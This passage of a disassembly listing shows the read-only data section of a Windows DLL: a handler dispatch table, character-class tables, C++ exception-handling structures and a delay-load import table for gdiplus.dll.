		dd offset sub_100187EF
		dd 111Ch
		dd offset sub_100187EF
		dd 111Dh
		dd offset sub_100187EF
		dd 111Eh
		dd offset sub_100187EF
		dd 111Fh
		dd offset sub_100187EF
		dd 12220h
		dd offset sub_10018621
		dd 12221h
		dd offset sub_10018621
		dd 12222h
		dd offset sub_10018621
		dd 12223h
		dd offset sub_10018621
		dd 1124h
		dd offset sub_100187EF
		dd 1125h
		dd offset sub_100187EF
		dd 1126h
		dd offset sub_100187EF
		dd 1127h
		dd offset sub_100187EF
		dd 12228h
		dd offset sub_10018621
		dd 12229h
		dd offset sub_10018621
		dd 1222Ah
		dd offset sub_10018621
		dd 1222Bh
		dd offset sub_10018621
		dd 1222Ch
		dd offset sub_10018621
		dd 1222Dh
		dd offset sub_10018621
		dd 1222Eh
		dd offset sub_10018621
		dd 1222Fh
		dd offset sub_10018621
		dd 2230h
		dd offset sub_10018621
		dd 2231h
		dd offset sub_10018621
		dd 2232h
		dd offset sub_10018621
		dd 2233h
		dd offset sub_10018621
		dd 2234h
		dd offset sub_10018621
		dd 2235h
		dd offset sub_10018621
		dd 1136h
		dd offset sub_100187EF
		dd 1137h
		dd offset sub_100187EF
		dd 1138h
		dd offset sub_100187EF
		dd 1139h
		dd offset sub_100187EF
		dd 113Ah
		dd offset sub_100187EF
		dd 113Bh
		dd offset sub_100187EF
		dd 113Ch
		dd offset sub_100187EF
		dd 113Dh
		dd offset sub_100187EF
		dd 113Eh
		dd offset sub_100187EF
		dd 113Fh
		dd offset sub_100187EF
		dd 12240h
		dd offset sub_10018621
		dd 12241h
		dd offset sub_10018621
		dd 12242h
		dd offset sub_10018621
		dd 12243h
		dd offset sub_10018621
		dd 12244h
		dd offset sub_10018621
		dd 12245h
		dd offset sub_10018621
		dd 12246h
		dd offset sub_10018621
		dd 12247h
		dd offset sub_10018621
		dd 12248h
		dd offset sub_10018621
		dd 12249h
		dd offset sub_10018621
		dd 1224Ah
		dd offset sub_10018621
		dd 1224Bh
		dd offset sub_10018621
		dd 1224Ch
		dd offset sub_10018621
		dd 1224Dh
		dd offset sub_10018621
		dd 1224Eh
		dd offset sub_10018621
		dd 1224Fh
		dd offset sub_10018621
		dd 12250h
		dd offset sub_10018621
		dd 12251h
		dd offset sub_10018621
		dd 12252h
		dd offset sub_10018621
		dd 12253h
		dd offset sub_10018621
		dd 12254h
		dd offset sub_10018621
		dd 12255h
		dd offset sub_10018621
		dd 12256h
		dd offset sub_10018621
		dd 12257h
		dd offset sub_10018621
		dd 12258h
		dd offset sub_10018621
		dd 12259h
		dd offset sub_10018621
		dd 1225Ah
		dd offset sub_10018621
		dd 1225Bh
		dd offset sub_10018621
		dd 1225Ch
		dd offset sub_10018621
		dd 1225Dh
		dd offset sub_10018621
		dd 1225Eh
		dd offset sub_10018621
		dd 1225Fh
		dd offset sub_10018621
		dd 12260h
		dd offset sub_10018621
		dd 12261h
		dd offset sub_10018621
		dd 12262h
		dd offset sub_10018621
		dd 12263h
		dd offset sub_10018621
		dd 12264h
		dd offset sub_10018621
		dd 12265h
		dd offset sub_10018621
		dd 12266h
		dd offset sub_10018621
		dd 12267h
		dd offset sub_10018621
		dd 12268h
		dd offset sub_10018621
		dd 12269h
		dd offset sub_10018621
		dd 1226Ah
		dd offset sub_10018621
		dd 1226Bh
		dd offset sub_10018621
		dd 1226Ch
		dd offset sub_10018621
		dd 1226Dh
		dd offset sub_10018621
		dd 1226Eh
		dd offset sub_10018621
		dd 1226Fh
		dd offset sub_10018621
		dd 1013370h
		dd offset sub_10018621
		dd 1013371h
		dd offset sub_10018621
		dd 1013372h
		dd offset sub_10018621
		dd 1013373h
		dd offset sub_10018621
		dd 12274h
		dd offset sub_10018621
		dd 12275h
		dd offset sub_10018621
		dd 12276h
		dd offset sub_10018621
		dd 2277h
		dd offset sub_10018621
		dd 1178h
		dd offset sub_100187EF
		dd 1179h
		dd offset sub_100187EF
		dd 117Ah
		dd offset sub_100187EF
		dd 117Bh
		dd offset sub_100187EF
		dd 117Ch
		dd offset sub_100187EF
		dd 117Dh
		dd offset sub_100187EF
		dd 1227Eh
		dd offset sub_10018621
		dd 1227Fh
		dd offset sub_10018621
		dd 103580h
		dd offset sub_10018621
		dd 103581h
		dd offset sub_10018621
		dd 103582h
		dd offset sub_10018621
		dd 103583h
		dd offset sub_10018621
		dd 103584h
		dd offset sub_10018621
		dd 103585h
		dd offset sub_10018621
		dd 103586h
		dd offset sub_10018621
		dd 103587h
		dd offset sub_10018621
		dd 103588h
		dd offset sub_10018621
		dd 103589h
		dd offset sub_10018621
		dd 10358Ah
		dd offset sub_10018621
		dd 10358Bh
		dd offset sub_10018621
		dd 10358Ch
		dd offset sub_10018621
		dd 10358Dh
		dd offset sub_10018621
		dd 10358Eh
		dd offset sub_10018621
		dd 10358Fh
		dd offset sub_10018621
		dd 12290h
		dd offset sub_10018621
		dd 12291h
		dd offset sub_10018621
		dd 12292h
		dd offset sub_10018621
		dd 12293h
		dd offset sub_10018621
		dd 12294h
		dd offset sub_10018621
		dd 12295h
		dd offset sub_10018621
		dd 12296h
		dd offset sub_10018621
		dd 12297h
		dd offset sub_10018621
		dd 12298h
		dd offset sub_10018621
		dd 12299h
		dd offset sub_10018621
		dd 1229Ah
		dd offset sub_10018621
		dd 1229Bh
		dd offset sub_10018621
		dd 1229Ch
		dd offset sub_10018621
		dd 1229Dh
		dd offset sub_10018621
		dd 1229Eh
		dd offset sub_10018621
		dd 1229Fh
		dd offset sub_10018621
		dd 22A0h
		dd offset sub_10018621
		dd 22A1h
		dd offset sub_10018621
		dd 22A2h
		dd offset sub_10018621
		dd 122A3h
		dd offset sub_10018621
		dd 10133A4h
		dd offset sub_10018621
		dd 122A5h
		dd offset sub_10018621
		dd 11A6h
		dd offset sub_100187EF
		dd 11A7h
		dd offset sub_100187EF
		dd 22A8h
		dd offset sub_10018621
		dd 22A9h
		dd offset sub_10018621
		dd 22AAh
		dd offset sub_10018621
		dd 122ABh
		dd offset sub_10018621
		dd 10133ACh
		dd offset sub_10018621
		dd 122ADh
		dd offset sub_10018621
		dd 122AEh
		dd offset sub_10018621
		dd 122AFh
		dd offset sub_10018621
		dd 122B0h
		dd offset sub_10018621
		dd 122B1h
		dd offset sub_10018621
		dd 122B2h
		dd offset sub_10018621
		dd 122B3h
		dd offset sub_10018621
		dd 122B4h
		dd offset sub_10018621
		dd 122B5h
		dd offset sub_10018621
		dd 122B6h
		dd offset sub_10018621
		dd 122B7h
		dd offset sub_10018621
		dd 11B8h
		dd offset sub_100187EF
		dd 11B9h
		dd offset sub_100187EF
		dd 10133BAh
		dd offset sub_10018621
		dd 122BBh
		dd offset sub_10018621
		dd 122BCh
		dd offset sub_10018621
		dd 122BDh
		dd offset sub_10018621
		dd 122BEh
		dd offset sub_10018621
		dd 122BFh
		dd offset sub_10018621
		dd 122C0h
		dd offset sub_10018621
		dd 122C1h
		dd offset sub_10018621
		dd 122C2h
		dd offset sub_10018621
		dd 122C3h
		dd offset sub_10018621
		dd 10133C4h
		dd offset sub_10018621
		dd 10133C5h
		dd offset sub_10018621
		dd 10133C6h
		dd offset sub_10018621
		dd 122C7h
		dd offset sub_10018621
		dd 22C8h
		dd offset sub_10018621
		dd 22C9h
		dd offset sub_10018621
		dd 22CAh
		dd offset sub_10018621
		dd 22CBh
		dd offset sub_10018621
		dd 22CCh
		dd offset sub_10018621
		dd 22CDh
		dd offset sub_10018621
		dd 22CEh
		dd offset sub_10018621
		dd 22CFh
		dd offset sub_10018621
		dd 11D0h
		dd offset sub_100187EF
		dd 122D1h
		dd offset sub_10018621
		dd 122D2h
		dd offset sub_10018621
		dd 122D3h
		dd offset sub_10018621
		dd 122D4h
		dd offset sub_10018621
		dd 122D5h
		dd offset sub_10018621
		dd 122D6h
		dd offset sub_10018621
		dd 122D7h
		dd offset sub_10018621
		dd 122D8h
		dd offset sub_10018621
		dd 122D9h
		dd offset sub_10018621
		dd 122DAh
		dd offset sub_10018621
		dd 122DBh
		dd offset sub_10018621
		dd 122DCh
		dd offset sub_10018621
		dd 122DDh
		dd offset sub_10018621
		dd 122DEh
		dd offset sub_10018621
		dd 122DFh
		dd offset sub_10018621
		dd 122E0h
		dd offset sub_10018621
		dd 122E1h
		dd offset sub_10018621
		dd 122E2h
		dd offset sub_10018621
		dd 122E3h
		dd offset sub_10018621
		dd 122E4h
		dd offset sub_10018621
		dd 122E5h
		dd offset sub_10018621
		dd 122E6h
		dd offset sub_10018621
		dd 122E7h
		dd offset sub_10018621
		dd 122E8h
		dd offset sub_10018621
		dd 122E9h
		dd offset sub_10018621
		dd 122EAh
		dd offset sub_10018621
		dd 122EBh
		dd offset sub_10018621
		dd 122ECh
		dd offset sub_10018621
		dd 122EDh
		dd offset sub_10018621
		dd 122EEh
		dd offset sub_10018621
		dd 122EFh
		dd offset sub_10018621
		dd 11F0h
		dd offset sub_100187EF
		dd 122F1h
		dd offset sub_10018621
		dd 122F2h
		dd offset sub_10018621
		dd 122F3h
		dd offset sub_10018621
		dd 122F4h
		dd offset sub_10018621
		dd 122F5h
		dd offset sub_10018621
		dd 122F6h
		dd offset sub_10018621
		dd 122F7h
		dd offset sub_10018621
		dd 122F8h
		dd offset sub_10018621
		dd 122F9h
		dd offset sub_10018621
		dd 122FAh
		dd offset sub_10018621
		dd 122FBh
		dd offset sub_10018621
		dd 122FCh
		dd offset sub_10018621
		dd 122FDh
		dd offset sub_10018621
		dd 122FEh
		dd offset sub_10018621
		dd 11FFh
		dd offset sub_100187EF
		dd 2 dup(0)
byte_1001F738	db 0			; DATA XREF: sub_1001AAF4+58o
					; sub_1001AB59+61r ...
		db 3 dup(1)
		dd 2Fh dup(1010101h), 2020101h,	7 dup(2020202h), 4 dup(3030303h)
		dd 4040404h, 1010104h, 2 dup(1010101h)
dword_1001F838	dd 1010100h, 3Fh dup(1010101h)dword_1001F938	dd 1010100h, 1Fh dup(1010101h),	2020201h, 7 dup(2020202h)
					; DATA XREF: sub_1001AAF4+2Co
		dd 10h dup(1010101h), 4	dup(2020202h), 4 dup(1010101h)
aCbbbbbbbbaabba	db 'cbbbbbbbbaabbabbbbbbbbbbbbbbbbbbabbbbbbbbbb>bbb?456789:;<=bbb`bbb'
		db 0
		dw 201h
		db    3
		db 4, 5, 6
		db    7
		db 8, 9, 0Ah
		db  0Bh
		db 0Ch,	0Dh, 0Eh
		db  0Fh
		db 10h,	11h, 12h
		db  13h
		db 14h,	15h, 16h
		db  17h
		db 18h,	19h, 62h
		db  62h	; b
		db 3 dup(62h)
		db  62h	; b
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123bbbbbbbbb	db '!"#$%&',27h,'()*+,-./0123bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
		db 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
		db 'bbbbbbbbbbbbbbbbbbbbbbbbb',0
		align 10h
aGdiplus_dll	db 'gdiplus.dll',0      ; DATA XREF: .rdata:10020464o
dword_1001FB4C	dd 1D5BE4B5h	dword_1001FB50	dd 452DFA4Ah	dword_1001FB54	dd 0B35DDD9Ch	dword_1001FB58	dd 0EBE70551h			dd offset dword_1001FBA0
off_1001FB60	dd offset sub_1001CB38	; DATA XREF: sub_1001CB06+12o
					; sub_1001CB54+19o ...
		dd offset dword_1001FBE8
off_1001FB68	dd offset sub_1001CDC8	; DATA XREF: .data:off_10024168o
					; .data:off_10024188o
		align 10h
off_1001FB70	dd offset off_10024168	; DATA XREF: .rdata:off_1001FB88o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_1001FB88	dd offset off_1001FB70	; DATA XREF: .rdata:1001FB9Co
dword_1001FB8C	dd 3 dup(0)			dd 1
		dd offset off_1001FB88
dword_1001FBA0	dd 3 dup(0)			dd offset off_10024168
		dd offset dword_1001FB8C+4
		align 8
off_1001FBB8	dd offset off_10024188	; DATA XREF: .rdata:off_1001FBD0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_1001FBD0	dd offset off_1001FBB8	; DATA XREF: .rdata:1001FBE4o
		dd 0
		db    0			; DATA XREF: .rdata:1001FBF8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1
		dd offset off_1001FBD0
dword_1001FBE8	dd 3 dup(0)			dd offset off_10024188
		dd offset unk_1001FBD8
		align 10h
stru_1001FC00	dd 19930520h		; Magic	; DATA XREF: SEH_100020B5o
		dd 4			; Count
		dd offset stru_1001FC00.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001CDF0	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CDFC	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001CE08	; Info.Proc
		dd 2			; Info.Id
		dd offset sub_1001CE14	; Info.Proc
stru_1001FC40	dd 19930520h		; Magic	; DATA XREF: SEH_10002FDEo
		dd 2			; Count
		dd offset stru_1001FC40.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001CE2A	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CE36	; Info.Proc
stru_1001FC70	dd 19930520h		; Magic	; DATA XREF: SEH_10003786o
		dd 24			; Count
		dd offset stru_1001FC70.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001CE4C	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CE55	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001CE5E	; Info.Proc
		dd 2			; Info.Id
		dd offset sub_1001CE6A	; Info.Proc
		dd 3			; Info.Id
		dd offset sub_1001CE76	; Info.Proc
		dd 4			; Info.Id
		dd offset sub_1001CE82	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001CE8E	; Info.Proc
		dd 6			; Info.Id
		dd offset sub_1001CE9A	; Info.Proc
		dd 7			; Info.Id
		dd offset sub_1001CEA6	; Info.Proc
		dd 8			; Info.Id
		dd offset sub_1001CEB2	; Info.Proc
		dd 9			; Info.Id
		dd offset sub_1001CEBE	; Info.Proc
		dd 10			; Info.Id
		dd offset sub_1001CECA	; Info.Proc
		dd 11			; Info.Id
		dd offset sub_1001CED6	; Info.Proc
		dd 12			; Info.Id
		dd offset sub_1001CEE2	; Info.Proc
		dd 13			; Info.Id
		dd offset sub_1001CEEE	; Info.Proc
		dd 13			; Info.Id
		dd offset sub_1001CEFA	; Info.Proc
		dd 15			; Info.Id
		dd offset sub_1001CF06	; Info.Proc
		dd 16			; Info.Id
		dd offset sub_1001CF12	; Info.Proc
		dd 17			; Info.Id
		dd offset sub_1001CF1E	; Info.Proc
		dd 18			; Info.Id
		dd offset sub_1001CF2A	; Info.Proc
		dd 19			; Info.Id
		dd offset sub_1001CF36	; Info.Proc
		dd 20			; Info.Id
		dd offset sub_1001CF42	; Info.Proc
		dd 20			; Info.Id
		dd offset sub_1001CF4E	; Info.Proc
		dd 20			; Info.Id
		dd offset sub_1001CF5A	; Info.Proc
stru_1001FD50	dd 19930520h		; Magic	; DATA XREF: SEH_10005BE3o
		dd 2			; Count
		dd offset stru_1001FD50.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_1001FD80	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_1001FD80	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_1001FD50o
		dd 1			; Count
		dd offset stru_1001FD98	; RttiBlkPtr
		dd 0
stru_1001FD98	_msRttiDscr <0,	0, 0, offset loc_10005DEB>
					; DATA XREF: .rdata:stru_1001FD80o
stru_1001FDA8	dd 19930520h		; Magic	; DATA XREF: SEH_10005E66o
		dd 2			; Count
		dd offset stru_1001FDA8.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_1001FDD8	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_1001FDD8	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_1001FDA8o
		dd 1			; Count
		dd offset stru_1001FDF0	; RttiBlkPtr
		dd 0
stru_1001FDF0	_msRttiDscr <0,	0, 0, offset loc_10006425>
					; DATA XREF: .rdata:stru_1001FDD8o
stru_1001FE00	dd 19930520h		; Magic	; DATA XREF: SEH_10006547o
		dd 2			; Count
		dd offset stru_1001FE00.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_1001FE30	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_1001FE30	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_1001FE00o
		dd 1			; Count
		dd offset stru_1001FE48	; RttiBlkPtr
		dd 0
stru_1001FE48	_msRttiDscr <0,	0, 0, offset loc_10006DA6>
					; DATA XREF: .rdata:stru_1001FE30o
stru_1001FE58	dd 19930520h		; Magic	; DATA XREF: SEH_1000827Fo
		dd 13			; Count
		dd offset stru_1001FE58.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001CF8E	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CF97	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CFA0	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CFA9	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CFB2	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CFBB	; Info.Proc
		dd 5			; Info.Id
		dd offset sub_1001CFC4	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CFCD	; Info.Proc
		dd 7			; Info.Id
		dd offset sub_1001CFD6	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CFDF	; Info.Proc
		dd 9			; Info.Id
		dd offset sub_1001CFE8	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001CFF1	; Info.Proc
		dd 11			; Info.Id
		dd offset sub_1001CFFA	; Info.Proc
stru_1001FEE0	dd 19930520h		; Magic	; DATA XREF: SEH_1000878Fo
		dd 16			; Count
		dd offset stru_1001FEE0.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D00D	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D016	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D01F	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D02B	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D037	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D043	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D04F	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D05B	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D067	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D073	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D07F	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D08B	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D097	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D0A3	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D0AF	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D0BB	; Info.Proc
stru_1001FF80	dd 19930520h		; Magic	; DATA XREF: SEH_1000A318o
		dd 6			; Count
		dd offset stru_1001FF80.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D0D1	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D0DD	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D0E9	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D0F5	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D101	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D10D	; Info.Proc
stru_1001FFD0	dd 19930520h		; Magic	; DATA XREF: SEH_1000D200o
		dd 1			; Count
		dd offset stru_1001FFD0.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D130	; Info.Proc
stru_1001FFF8	dd 19930520h		; Magic	; DATA XREF: SEH_1000D300o
		dd 1			; Count
		dd offset stru_1001FFF8.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D150	; Info.Proc
stru_10020020	dd 19930520h		; Magic	; DATA XREF: SEH_1000D410o
		dd 1			; Count
		dd offset stru_10020020.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D170	; Info.Proc
stru_10020048	dd 19930520h		; Magic	; DATA XREF: SEH_1000D4E0o
		dd 1			; Count
		dd offset stru_10020048.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D190	; Info.Proc
stru_10020070	dd 19930520h		; Magic	; DATA XREF: SEH_1000D590o
		dd 1			; Count	; Microsoft VisualC 2-8/net runtime
		dd offset stru_10020070.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset unknown_libname_2; Info.Proc
stru_10020098	dd 19930520h		; Magic	; DATA XREF: SEH_1000DB80o
		dd 1			; Count	; Microsoft VisualC 2-8/net runtime
		dd offset stru_10020098.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset unknown_libname_3; Info.Proc
stru_100200C0	dd 19930520h		; Magic	; DATA XREF: SEH_10013E02o
		dd 2			; Count
		dd offset stru_100200C0.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_100200F0	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_100200F0	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_100200C0o
		dd 1			; Count
		dd offset stru_10020108	; RttiBlkPtr
		dd 0
stru_10020108	_msRttiDscr <0,	0, 0, offset loc_100142C8>
					; DATA XREF: .rdata:stru_100200F0o
stru_10020118	dd 19930520h		; Magic	; DATA XREF: SEH_100142FFo
		dd 2			; Count
		dd offset stru_10020118.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_10020148	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_10020148	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_10020118o
		dd 1			; Count
		dd offset stru_10020160	; RttiBlkPtr
		dd 0
stru_10020160	_msRttiDscr <0,	0, 0, offset loc_10014732>
					; DATA XREF: .rdata:stru_10020148o
stru_10020170	dd 19930520h		; Magic	; DATA XREF: SEH_10014769o
		dd 2			; Count
		dd offset stru_10020170.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_100201A0	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_100201A0	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_10020170o
		dd 1			; Count
		dd offset stru_100201B8	; RttiBlkPtr
		dd 0
stru_100201B8	_msRttiDscr <0,	0, 0, offset loc_10014833>
					; DATA XREF: .rdata:stru_100201A0o
stru_100201C8	dd 19930520h		; Magic	; DATA XREF: SEH_10014871o
		dd 2			; Count
		dd offset stru_100201C8.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_100201F8	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_100201F8	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_100201C8o
		dd 1			; Count
		dd offset stru_10020210	; RttiBlkPtr
		dd 0
stru_10020210	_msRttiDscr <0,	0, 0, offset loc_100148F8>
					; DATA XREF: .rdata:stru_100201F8o
stru_10020220	dd 19930520h		; Magic	; DATA XREF: SEH_10014916o
		dd 2			; Count
		dd offset stru_10020220.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_10020250	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_10020250	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_10020220o
		dd 1			; Count
		dd offset stru_10020268	; RttiBlkPtr
		dd 0
stru_10020268	_msRttiDscr <0,	0, 0, offset loc_10014ADB>
					; DATA XREF: .rdata:stru_10020250o
stru_10020278	dd 19930520h		; Magic	; DATA XREF: SEH_10014B0Fo
		dd 2			; Count
		dd offset stru_10020278.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_100202A8	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_100202A8	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_10020278o
		dd 1			; Count
		dd offset stru_100202C0	; RttiBlkPtr
		dd 0
stru_100202C0	_msRttiDscr <0,	0, 0, offset loc_10015B9F>
					; DATA XREF: .rdata:stru_100202A8o
stru_100202D0	dd 19930520h		; Magic	; DATA XREF: SEH_10015BF1o
		dd 2			; Count
		dd offset stru_100202D0.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_10020300	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_10020300	dd 0, 0, 1		; _unk ; DATA XREF: .rdata:stru_100202D0o
		dd 1			; Count
		dd offset stru_10020318	; RttiBlkPtr
		dd 0
stru_10020318	_msRttiDscr <0,	0, 0, offset loc_10016A7F>
					; DATA XREF: .rdata:stru_10020300o
stru_10020328	dd 19930520h		; Magic	; DATA XREF: .text:loc_1001D240o
		dd 1			; Count
		dd offset stru_10020328.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D238	; Info.Proc
stru_10020350	dd 19930520h		; Magic	; DATA XREF: .text:loc_1001D254o
		dd 1			; Count
		dd offset stru_10020350.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D24C	; Info.Proc
stru_10020378	dd 19930520h		; Magic	; DATA XREF: .text:loc_1001D278o
		dd 3			; Count
		dd offset stru_10020378.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D260	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D268	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D270	; Info.Proc
stru_100203B0	dd 19930520h		; Magic	; DATA XREF: .text:loc_1001D2BBo
		dd 5			; Count
		dd offset stru_100203B0.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D284	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D29B	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D2A3	; Info.Proc
		dd 1			; Info.Id
		dd offset sub_1001D2AB	; Info.Proc
		dd 3			; Info.Id
		dd offset sub_1001D2B3	; Info.Proc
stru_100203F8	dd 19930520h		; Magic	; DATA XREF: .text:loc_1001D2E7o
		dd 2			; Count
		dd offset stru_100203F8.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_1001D2C8	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_1001D2DF	; Info.Proc
dword_10020428	dd 0				dd offset off_10024168
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h
		dd offset sub_1001CB54
		align 8
dword_10020448	dd 1				dd offset dword_10020428
dword_10020450	dd 0				dd offset sub_1001CB81
		dd 0
		dd offset dword_10020448
gdiplus_dll_import_table dd 0		; DATA XREF: GdipGetImageEncodersSize_thunk:loc_1001AD34o
					; Attributes
		dd offset aGdiplus_dll	; "gdiplus.dll"
		dd offset gdiplus_dll_handle ; Module handle
		dd offset GdipGetImageEncodersSize ; Delayed Import Address Table
		dd offset gdiplus_dll_dint ; Delayed Import Name Table
		dd offset gdiplus_dll_dbiat ; Bound Delayed Import Address Table
		dd 0			; Unload Delayed Import	Table
		dd 0			; Time stamp
		dd 8 dup(0)
gdiplus_dll_dint dd offset word_100204D0 ; DATA	XREF: .rdata:10020470o
					; gdiplus.dll delayed import name table
		dd offset word_100204EC
		dd offset word_10020504
		dd offset word_1002051A
		dd offset word_1002052E
		dd offset word_1002053A
